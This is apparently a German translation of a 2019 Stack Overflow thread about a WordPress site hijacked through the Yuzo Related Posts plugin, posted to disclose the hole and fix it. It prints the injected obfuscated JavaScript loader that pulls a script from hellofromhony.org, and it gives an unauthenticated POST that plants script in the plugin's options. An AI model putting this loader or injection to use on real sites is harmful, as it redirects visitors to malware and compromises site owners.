Schwachstelle im geschlossenen Plugin Yuzo Related Posts [closed]

Lesezeit: 3 Minuten

Benutzeravatar von fealXX
fealXX

Vor ungefähr einer Stunde begann eine von mir verwaltete WordPress-Seite mit der Umleitung auf Anzeigen-/Malware-Seiten.

Ich habe die Quelle der Umleitung gefunden, möchte anderen Betroffenen helfen und benötige Hilfe bei der Suche nach der tatsächlichen Schwachstelle und/oder einer Lösung.

Die Umleitung erfolgt nach dem Laden der Site, also suchte ich nach einem JavaScript-Snippet in der Seite und zweifelhaften Umleitungen im Network Analyzer. Offensichtlich böswillige Weiterleitungen waren: hellofromhony.org, thebiggestfavoritemake.com, nnatrevaleur.tk und eine Website, die versucht, meinen aktuellen Standort abzugreifen (konnte diese jedoch nicht mehr als einmal reproduzieren).

Ich war in der Lage, die Weiterleitungen zu verfolgen, von denen sie kamen https://hellofromhony.org/counter die über ein Code-Snippet eingebettet ist.

Das Snippet wurde in wp_options in einen Eintrag mit dem Schlüssel „yuzo_related_post_options“ eingebettet – genauer gesagt eingebettet in die JSON-Option „yuzo_related_post_css_and_style“ des Option_value. Diese Option wird ohne Bereinigung wiederholt.

Diese Option ist Teil des Yuzo Related Posts Plugins, das vor etwa einer Woche eingestellt wurde:
https://wordpress.org/plugins/yuzo-related-post/

Das Entfernen dieses Plugins stoppte die Umleitung sofort, ich konnte keine anderen Spuren von Manipulationen an der Seite finden.

Das Snippet, das sich im option_value befand:

</style><script language=javascript>eval(String.fromCharCode(118, 97, 114, 32, 100, 100, 32, 61, 32, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 49, 53, 44, 32, 57, 57, 44, 32, 49, 49, 52, 44, 32, 49, 48, 53, 44, 32, 49, 49, 50, 44, 32, 49, 49, 54, 41, 59, 118, 97, 114, 32, 101, 108, 101, 109, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 100, 100, 41, 59, 32, 118, 97, 114, 32, 104, 104, 32, 61, 32, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 48, 52, 44, 32, 49, 48, 49, 44, 32, 57, 55, 44, 32, 49, 48, 48, 41, 59, 118, 97, 114, 32, 122, 122, 32, 61, 32, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 49, 54, 44, 32, 49, 48, 49, 44, 32, 49, 50, 48, 44, 32, 49, 49, 54, 44, 32, 52, 55, 44, 32, 49, 48, 54, 44, 32, 57, 55, 44, 32, 49, 49, 56, 44, 32, 57, 55, 44, 32, 49, 49, 53, 44, 32, 57, 57, 44, 32, 49, 49, 52, 44, 32, 49, 48, 53, 44, 32, 49, 49, 50, 44, 32, 49, 49, 54, 41, 59, 101, 108, 101, 109, 46, 116, 121, 112, 101, 32, 61, 32, 122, 122, 59, 32, 101, 108, 101, 109, 46, 97, 115, 121, 110, 99, 32, 61, 32, 116, 114, 117, 101, 59, 101, 108, 101, 109, 46, 115, 114, 99, 32, 61, 32, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 48, 52, 44, 32, 49, 49, 54, 44, 32, 49, 49, 54, 44, 32, 49, 49, 50, 44, 32, 49, 49, 53, 44, 32, 53, 56, 44, 32, 52, 55, 44, 32, 52, 55, 44, 32, 49, 48, 52, 44, 32, 49, 48, 49, 44, 32, 49, 48, 56, 44, 32, 49, 48, 56, 44, 32, 49, 49, 49, 44, 32, 49, 48, 50, 44, 32, 49, 49, 52, 44, 32, 49, 49, 49, 44, 32, 49, 48, 57, 44, 32, 49, 48, 52, 44, 32, 49, 49, 49, 44, 32, 49, 49, 48, 44, 32, 49, 50, 49, 44, 32, 52, 54, 44, 32, 49, 49, 49, 44, 32, 49, 49, 52, 44, 32, 49, 48, 51, 44, 32, 52, 55, 44, 32, 57, 57, 44, 32, 49, 49, 49, 44, 32, 49, 49, 55, 44, 32, 49, 49, 48, 44, 32, 49, 49, 54, 44, 32, 49, 48, 49, 44, 32, 49, 49, 52, 41, 59, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 104, 104, 41, 91, 48, 93, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 101, 108, 101, 109, 41, 59));</script>

Während das Entfernen des Plugins einen Quickfix darstellt, möchte ich tiefer eintauchen, um sicherzugehen, dass kein Zugriff auf die Datenbank, das Backend und den Webspace bestand.

  • Während der Untersuchung und des Schreibens dieses Beitrags sind zwei Threads auf dem wordpress.org-Board erschienen: wordpress.org/support/plugin/yuzo-related-post

    – fealXX

    10. April 2019 um 10:44 Uhr

  • Darüber hat auch schon am 30. März jemand geschrieben. pluginvulnerabilities.com/2019/03/30/…

    – Hang Guan

    10. April 2019 um 11:29 Uhr

  • Gehe ich richtig in der Annahme an, dass nur die wp-Optionen in Bezug auf das Plugin selbst manipuliert werden können? Ich versuche, die maximale Reichweite der Schwachstelle zu finden.

    – Hendrik

    10. April 2019 um 12:53 Uhr


  • @Hendrik ja, das ist richtig. WordPress stellt den Optionen automatisch die Plugin-ID voran, sodass bei diesem einfachen Angriff nur die Plugin-eigenen Optionen geändert werden können

    – fealXX

    10. April 2019 um 13:51 Uhr

  • Entschuldigung, Stack Overflow ist nicht geeignet für Helfen Sie mir, Schwachstellen in diesem zufälligen Plugin zu finden Fragen. Wir können spezifische, fokussierte Fragen mit begrenztem Umfang beantworten.

    – Martijn Pieters

    24. April 2019 um 16:29 Uhr

Benutzeravatar von fealXX
fealXX

Ich glaube, ich habe es gerade gefunden: The Yuzo-bezogene Beiträge Das Plugin prüft beim Speichern von Optionen nicht auf Authentifizierung.

Also posten

yuzo_related_post_css_and_style=</style><script+language=javascript>alert('hacked');</script> 

zu /wp-admin/options-general.php?page=yuzo-related-post wird erfolgreich sein, auch wenn Sie nicht eingeloggt sind.

Das Plugin verwendet is_admin() um auf Authentifizierung zu prüfen, aber das ist ein “falscher Freund” und prüft nur, ob die aufgerufene Seite im Admin-Bereich ist, nicht, ob ein Benutzer authentifiziert (noch autorisiert) ist. Siehe die WordPress-Dokumentation.

Eine schnelle Lösung, um das Plugin weiterhin zu verwenden, besteht darin, einfach die Einstellungsoption zu entfernen, indem Sie false in die if-Anweisung einfügen /assets/functions/options.php Zeile 1155:

    function __construct(){

        global $if_utils;

        $this->utils = $if_utils;

        if(false/* is_admin() */)
            self::configuration_plugin();
        else
            self::parameters();

    }

Aktualisieren:

Hang Guan zeigte darauf ein Blogbeitrag zu diesem Thema von letzter WocheSie scheint jetzt „out in the wild“ zu sein.

  • Abhängig von Ihrem WP zielen die Exploits auch ab /wp-admin/admin-post.php?page=yuzo-related-post

    – Stefan

    10. April 2019 um 13:53 Uhr

1401860cookie-checkSchwachstelle im geschlossenen Plugin Yuzo Related Posts [closed]

This website is using cookies to improve the user-friendliness. You agree by using the website further.

Privacy policy